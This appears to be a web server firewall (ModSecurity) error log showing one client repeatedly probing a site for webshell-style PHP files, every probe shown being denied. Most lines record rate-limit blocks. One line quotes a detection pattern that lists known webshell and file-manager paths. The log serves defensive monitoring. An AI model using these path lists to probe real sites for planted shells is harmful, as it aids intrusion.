[Sat Feb 28 01:48:04.752081 2026] [:error] [pid 38620:tid 38642] [client 20.100.197.204:30585] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aaHY1AP6I7SRqrhh7RokYwAAAVQ"]
[Sat Feb 28 01:48:05.270177 2026] [:error] [pid 38620:tid 38644] [client 20.100.197.204:30519] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aaHY1QP6I7SRqrhh7RokaQAAAVY"]
[Sat Feb 28 01:48:05.785995 2026] [:error] [pid 15099:tid 15155] [client 20.100.197.204:28938] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aaHY1envP2vtPjYDq_g-MQAAANY"]
[Sat Feb 28 01:48:06.304679 2026] [:error] [pid 38620:tid 38632] [client 20.100.197.204:33158] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aaHY1gP6I7SRqrhh7RokcQAAAUo"]
[Sat Feb 28 01:48:06.822011 2026] [:error] [pid 15240:tid 15245] [client 20.100.197.204:3085] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aaHY1i1iKL_41Rk9A9OHBgAAAAM"]
[Sat Feb 28 01:48:07.339374 2026] [:error] [pid 15240:tid 15242] [client 20.100.197.204:33211] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aaHY1y1iKL_41Rk9A9OHCQAAAAA"]
[Sat Feb 28 01:48:07.858453 2026] [:error] [pid 15100:tid 15176] [client 20.100.197.204:25275] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aaHY10OEbzcINan_ctLNZQAAAFA"]
[Sat Feb 28 01:48:08.375608 2026] [:error] [pid 15240:tid 15252] [client 20.100.197.204:14874] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class.1.php"] [unique_id "aaHY2C1iKL_41Rk9A9OHDQAAAAo"]
[Sat Feb 28 01:48:08.899514 2026] [:error] [pid 15100:tid 15162] [client 20.100.197.204:25247] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class.1.php"] [unique_id "aaHY2EOEbzcINan_ctLNZwAAAEI"]
[Sat Feb 28 01:48:09.417366 2026] [:error] [pid 15099:tid 15139] [client 20.100.197.204:24459] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class.1.php"] [unique_id "aaHY2envP2vtPjYDq_g-OQAAAMY"]
[Sat Feb 28 01:48:09.935252 2026] [:error] [pid 38620:tid 38626] [client 20.100.197.204:36902] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class.1.php"] [unique_id "aaHY2QP6I7SRqrhh7RokjgAAAUQ"]
[Sat Feb 28 01:48:10.451585 2026] [:error] [pid 15099:tid 15141] [client 20.100.197.204:30546] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/async.php"] [unique_id "aaHY2unvP2vtPjYDq_g-PAAAAMg"]
[Sat Feb 28 01:48:10.973441 2026] [:error] [pid 15100:tid 15177] [client 20.100.197.204:38527] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/async.php"] [unique_id "aaHY2kOEbzcINan_ctLNawAAAFE"]
[Sat Feb 28 01:48:11.490549 2026] [:error] [pid 38586:tid 38608] [client 20.100.197.204:21461] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/async.php"] [unique_id "aaHY27_i6nvKNhjFW7VY2gAAARM"]
[Sat Feb 28 01:48:12.012851 2026] [:error] [pid 38620:tid 38627] [client 20.100.197.204:21490] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/async.php"] [unique_id "aaHY3AP6I7SRqrhh7RokowAAAUU"]
[Sat Feb 28 01:48:12.545735 2026] [:error] [pid 38586:tid 38598] [client 20.100.197.204:33195] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ff.php"] [unique_id "aaHY3L_i6nvKNhjFW7VY3gAAAQk"]
[Sat Feb 28 01:48:13.063604 2026] [:error] [pid 15100:tid 15184] [client 20.100.197.204:28929] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ff.php"] [unique_id "aaHY3UOEbzcINan_ctLNbwAAAFg"]
[Sat Feb 28 01:48:13.580571 2026] [:error] [pid 15240:tid 15244] [client 20.100.197.204:24457] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ff.php"] [unique_id "aaHY3S1iKL_41Rk9A9OHFgAAAAI"]
[Sat Feb 28 01:48:14.103594 2026] [:error] [pid 38620:tid 38636] [client 20.100.197.204:30548] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ff.php"] [unique_id "aaHY3gP6I7SRqrhh7RoktAAAAU4"]
[Sat Feb 28 01:48:14.623274 2026] [:error] [pid 38586:tid 38610] [client 20.100.197.204:25241] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aaHY3r_i6nvKNhjFW7VY4wAAARU"]
[Sat Feb 28 01:48:15.140087 2026] [:error] [pid 38620:tid 38633] [client 20.100.197.204:30581] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aaHY3wP6I7SRqrhh7RokugAAAUs"]
[Sat Feb 28 01:48:15.657099 2026] [:error] [pid 15098:tid 15115] [client 20.100.197.204:30554] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aaHY38kFqny8dQQbmTkr_gAAAIk"]
[Sat Feb 28 01:48:16.174687 2026] [:error] [pid 15100:tid 15168] [client 20.100.197.204:30509] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aaHY4EOEbzcINan_ctLNcQAAAEg"]
[Sat Feb 28 01:48:16.691989 2026] [:error] [pid 38620:tid 38642] [client 20.100.197.204:3072] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aaHY4AP6I7SRqrhh7RokwAAAAVQ"]
[Sat Feb 28 01:48:17.216289 2026] [:error] [pid 15098:tid 15107] [client 20.100.197.204:21487] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aaHY4ckFqny8dQQbmTkr_wAAAII"]
[Sat Feb 28 01:48:17.734127 2026] [:error] [pid 15240:tid 15261] [client 20.100.197.204:14856] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aaHY4S1iKL_41Rk9A9OHHQAAABM"]
[Sat Feb 28 01:48:18.252746 2026] [:error] [pid 15100:tid 15160] [client 20.100.197.204:14881] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aaHY4kOEbzcINan_ctLNcwAAAEA"]
[Sat Feb 28 01:48:18.772764 2026] [:error] [pid 15100:tid 15169] [client 20.100.197.204:9986] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aaHY4kOEbzcINan_ctLNdgAAAEk"]
[Sat Feb 28 01:48:19.289560 2026] [:error] [pid 38620:tid 38644] [client 20.100.197.204:28976] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aaHY4wP6I7SRqrhh7RokygAAAVY"]
[Sat Feb 28 01:48:19.804826 2026] [:error] [pid 38586:tid 38599] [client 20.100.197.204:30495] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aaHY47_i6nvKNhjFW7VY6gAAAQo"]
[Sat Feb 28 01:48:20.320532 2026] [:error] [pid 38586:tid 38598] [client 20.100.197.204:37781] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aaHY5L_i6nvKNhjFW7VY7QAAAQk"]
[Sat Feb 28 01:48:20.838219 2026] [:error] [pid 38620:tid 38645] [client 20.100.197.204:33162] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaHY5AP6I7SRqrhh7Rok0AAAAVc"]
[Sat Feb 28 01:48:21.356792 2026] [:error] [pid 38620:tid 38646] [client 20.100.197.204:24468] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaHY5QP6I7SRqrhh7Rok0wAAAVg"]
[Sat Feb 28 01:48:21.873993 2026] [:error] [pid 15100:tid 15162] [client 20.100.197.204:21478] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaHY5UOEbzcINan_ctLNdwAAAEI"]
[Sat Feb 28 01:48:22.390894 2026] [:error] [pid 38620:tid 38641] [client 20.100.197.204:30508] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaHY5gP6I7SRqrhh7Rok3QAAAVM"]
[Sat Feb 28 01:48:22.911022 2026] [:error] [pid 38620:tid 38645] [client 20.100.197.204:15757] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aaHY5gP6I7SRqrhh7Rok4QAAAVc"]
[Sat Feb 28 01:48:23.428075 2026] [:error] [pid 38586:tid 38604] [client 20.100.197.204:28981] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aaHY57_i6nvKNhjFW7VY8wAAAQ8"]
[Sat Feb 28 01:48:23.943783 2026] [:error] [pid 38586:tid 38606] [client 20.100.197.204:33208] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aaHY57_i6nvKNhjFW7VY9QAAARE"]
[Sat Feb 28 01:48:24.460481 2026] [:error] [pid 38620:tid 38627] [client 20.100.197.204:15764] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aaHY6AP6I7SRqrhh7Rok6gAAAUU"]
[Sat Feb 28 01:48:24.977576 2026] [:error] [pid 15240:tid 15252] [client 20.100.197.204:30483] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cbrfo.php"] [unique_id "aaHY6C1iKL_41Rk9A9OHJwAAAAo"]
[Sat Feb 28 01:48:25.494330 2026] [:error] [pid 38586:tid 38605] [client 20.100.197.204:37765] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cbrfo.php"] [unique_id "aaHY6b_i6nvKNhjFW7VY-wAAARA"]
[Sat Feb 28 01:48:26.010667 2026] [:error] [pid 38620:tid 38628] [client 20.100.197.204:30484] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cbrfo.php"] [unique_id "aaHY6gP6I7SRqrhh7Rok8QAAAUY"]
[Sat Feb 28 01:48:26.528141 2026] [:error] [pid 15240:tid 15263] [client 20.100.197.204:33171] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cbrfo.php"] [unique_id "aaHY6i1iKL_41Rk9A9OHLwAAABU"]
[Sat Feb 28 01:48:27.046741 2026] [:error] [pid 38586:tid 38606] [client 20.100.197.204:24488] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aaHY67_i6nvKNhjFW7VZAgAAARE"]
[Sat Feb 28 01:48:27.563753 2026] [:error] [pid 15240:tid 15249] [client 20.100.197.204:15756] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aaHY6y1iKL_41Rk9A9OHNQAAAAc"]
[Sat Feb 28 01:48:28.080238 2026] [:error] [pid 15240:tid 15247] [client 20.100.197.204:25266] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aaHY7C1iKL_41Rk9A9OHOQAAAAU"]
[Sat Feb 28 01:48:28.604515 2026] [:error] [pid 38620:tid 38631] [client 20.100.197.204:37762] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aaHY7AP6I7SRqrhh7Rok-AAAAUk"]
[Sat Feb 28 01:48:29.122810 2026] [:error] [pid 38586:tid 38605] [client 20.100.197.204:37800] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aaHY7b_i6nvKNhjFW7VZDAAAARA"]
[Sat Feb 28 01:48:29.639982 2026] [:error] [pid 38620:tid 38640] [client 20.100.197.204:37798] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aaHY7QP6I7SRqrhh7RolAAAAAVI"]
[Sat Feb 28 01:48:30.155958 2026] [:error] [pid 38620:tid 38645] [client 20.100.197.204:37778] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aaHY7gP6I7SRqrhh7RolBwAAAVc"]
[Sat Feb 28 01:48:30.673195 2026] [:error] [pid 38620:tid 38628] [client 20.100.197.204:25235] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aaHY7gP6I7SRqrhh7RolDAAAAUY"]
[Sat Feb 28 01:48:31.191407 2026] [:error] [pid 15240:tid 15250] [client 20.100.197.204:25278] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aaHY7y1iKL_41Rk9A9OHPgAAAAg"]
[Sat Feb 28 01:48:31.707490 2026] [:error] [pid 38620:tid 38632] [client 20.100.197.204:25232] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aaHY7wP6I7SRqrhh7RolFQAAAUo"]
[Sat Feb 28 01:48:33.555713 2026] [:error] [pid 15100:tid 15169] [client 20.100.197.204:25264] [client 20.100.197.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaHY8UOEbzcINan_ctLNiwAAAEk"]
[Sat Feb 28 01:48:39.464498 2026] [:error] [pid 38620:tid 38645] [client 20.100.197.204:37783] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "aaHY9wP6I7SRqrhh7RolUQAAAVc"]
